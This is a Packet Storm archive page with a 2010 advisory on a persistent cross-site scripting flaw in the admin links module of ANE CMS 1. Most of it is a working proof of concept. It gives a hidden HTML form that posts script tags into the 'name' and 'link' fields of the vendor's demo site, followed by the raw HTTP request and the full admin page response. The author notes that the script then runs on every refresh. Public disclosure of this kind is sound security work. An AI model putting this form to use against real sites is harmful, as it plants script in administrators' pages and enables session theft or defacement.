what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ANE CMS 1 Cross Site Scripting

ANE CMS 1 Cross Site Scripting
Posted Mar 11, 2010
Authored by Pratul Agrawal

ANE CMS version 1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 946679792042f3ecb6616e6fc5dab2a0154013a6d023c94ef5bfba33652d1333

ANE CMS 1 Cross Site Scripting

Change Mirror Download

ANE CMS 1 Persistent XSS Vulnerability



Pratul Agrawal

# Vulnerability found in- Admin module

# email Pratulag@yahoo.com

# company aksitservices

# Credit by Pratul Agrawal

# Software ANE CMS 1

# Site p4ge http://demo.anecms.com/index.php

# Category CMS / Portals

# Plateform php

# Proof of concept #

Targeted URL: http://server/acp/index.php?p=cfg&m=links

In ADD LINKS Field provide the malicious script to store in the Database.

That is-



<form name="XYZ" action="http://demo.anecms.com/acp/index.php?p=cfg&m=links&id=0" method="post">

<input type=hidden name="name" value=""><script>alert("XSS")</script>">

<input type=hidden name="link" value=""><script>alert("XSS")</script>">

<input type=hidden name="type" value="1">

<input type=hidden name="view" value="0">







Request -
POST /acp/index.php?p=cfg&m=links&id=0 HTTP/1.1
Host: demo.anecms.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20100202 Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://demo.anecms.com/acp/index.php?p=cfg&m=links
Cookie: PHPSESSID=200fecb6b36334b983ebe251d11a5df9
Content-Type: application/x-www-form-urlencoded
Content-Length: 41


HTTP/1.1 200 OK
Date: Thu, 11 Mar 2010 06:59:03 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset: utf-8
Content-Length: 7771

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Transdmin Light</title>

<!-- CSS -->
<link href="./skins/aaa/css/transdmin.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]><link rel="stylesheet" type="text/css" media="screen" href="./skins/aaa/css/ie6.css" /><![endif]-->
<!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen" href="./skins/aaa/css/ie7.css" /><![endif]-->

<!-- JavaScripts-->
<link rel="stylesheet" type="text/css" href="http://demo.anecms.com/system/js/jquery.jgrowl.css" media="screen"/> <script type="text/javascript" src="http://demo.anecms.com/system/js/jquery-1.3.2.min.js"></script><script type="text/javascript" src="http://demo.anecms.com/system/js/jquery.jgrowl_minimized.js"></script>
<style>div.jGrowl div.green {
background-color: #00D400;
color: navy;


<div id="wrapper">
<!-- h1 tag stays for the logo, you can use the a tag for linking the index page -->
<h1><a href="#"><span>Administration</span></a></h1>

<!-- You can name the links with lowercase, they will be transformed to uppercase by CSS, we prefered to name them with uppercase to have the same effect with disabled stylesheet -->
<ul id="mainNav">
<li><a href="index.php">Dashboard</a></li>
<li><a href="?p=cfg">Configuration</a></li>
<li><a href="?p=tpl">Design</a></li>
<li><a href="?p=mod">Modules</a></li>
<li class="logout"><a href="#">Logout Admin</a></li>
<li class="logout"><a href="../index.php">CMS</a></li>
<!-- // #end mainNav -->

<div id="containerHolder">
<div id="container">
<div id="sidebar">

<ul class="sideNav">
<li><a href="?p=cfg">Show Setting</a></li>
<li><a href="?p=cfg&m=mod">Modify Setting</a></li>
<li><a href="?p=cfg&m=links">Links Management</a></li>
<li><a href="?p=cfg&m=reposerver">Repository Server</a></li>


<h2><a href="#">Configuration</a> &raquo; <a href="#" class="active">Links</a></h2>

<div id="main"><br>

<form action="?p=cfg&m=links&id=0" class="jNice" method="POST">

<h3>Aggiungi un nuovo Link</h3>
<fieldset><p><label>Nome link:</label><input type="text" class="text-long" name="name" value=""/></p>
<p><label>Nome link:</label><input type="text" class="text-long" name="link" value=""/></p>
<p><label>Tipo Link:</label><input type="radio" name="type" value="1" checked>Barra Links <input type="radio" name="type" value="2">Menu Links</p>

<select name="view">
<option value="0">Visible only to guests</option>
<option value="1">Visible to all</option>
<option value="2">Visible only to members</option>
<option value="3">Visible only to admins</option>

<input type="submit" value="Send" />

<table cellpadding="0" cellspacing="0">

<tr><td colspan="4">Bar Links</td></tr>
<tr class="odd">

<td><a href="?p=cfg&m=links&a=modify&id=1">Modify</a> <a href="?p=cfg&m=links&a=delete&id=1">Delete</a> <a href="?p=cfg&m=links&a=move&type=down&id=1">Move Down</a></td>
<tr class="odd">

<td><a href="?p=cfg&m=links&a=modify&id=2">Modify</a> <a href="?p=cfg&m=links&a=delete&id=2">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=2">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=2">Move Down</a></td>
<tr class="odd">

<td><a href="?p=cfg&m=links&a=modify&id=4">Modify</a> <a href="?p=cfg&m=links&a=delete&id=4">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=4">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=4">Move Down</a></td>
<tr class="odd">

<td><a href="?p=cfg&m=links&a=modify&id=5">Modify</a> <a href="?p=cfg&m=links&a=delete&id=5">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=5">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=5">Move Down</a></td>
<tr class="odd">

<td><a href="?p=cfg&m=links&a=modify&id=6">Modify</a> <a href="?p=cfg&m=links&a=delete&id=6">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=6">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=6">Move Down</a></td>
<tr class="odd">

<td><a href="?p=cfg&m=links&a=modify&id=38">Modify</a> <a href="?p=cfg&m=links&a=delete&id=38">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=38">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=38">Move Down</a></td>
<tr class="odd">

<td><a href="?p=cfg&m=links&a=modify&id=39">Modify</a> <a href="?p=cfg&m=links&a=delete&id=39">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=39">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=39">Move Down</a></td>
<tr><td colspan="4">Menu Links</td></tr>
<tr class="odd">

<td><a href="?p=cfg&m=links&a=modify&id=14">Modify</a> <a href="?p=cfg&m=links&a=delete&id=14">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=14">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=14">Move Down</a></td>
<tr class="odd">

<td><a href="?p=cfg&m=links&a=modify&id=19">Modify</a> <a href="?p=cfg&m=links&a=delete&id=19">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=19">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=19">Move Down</a></td>
<br />

<!-- // #main -->

<div class="clear"></div>
<!-- // #container -->
<!-- // #containerHolder -->

<p id="footer">Feel free to use and customize it. <a href="http://www.perspectived.com">Credit is appreciated.</a></p>
<!-- // #wrapper -->

<script type="text/javascript">


After completion Just Refres the page and the script get executed again and again.

#If you have any questions, comments, or concerns, feel free to contact me.
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By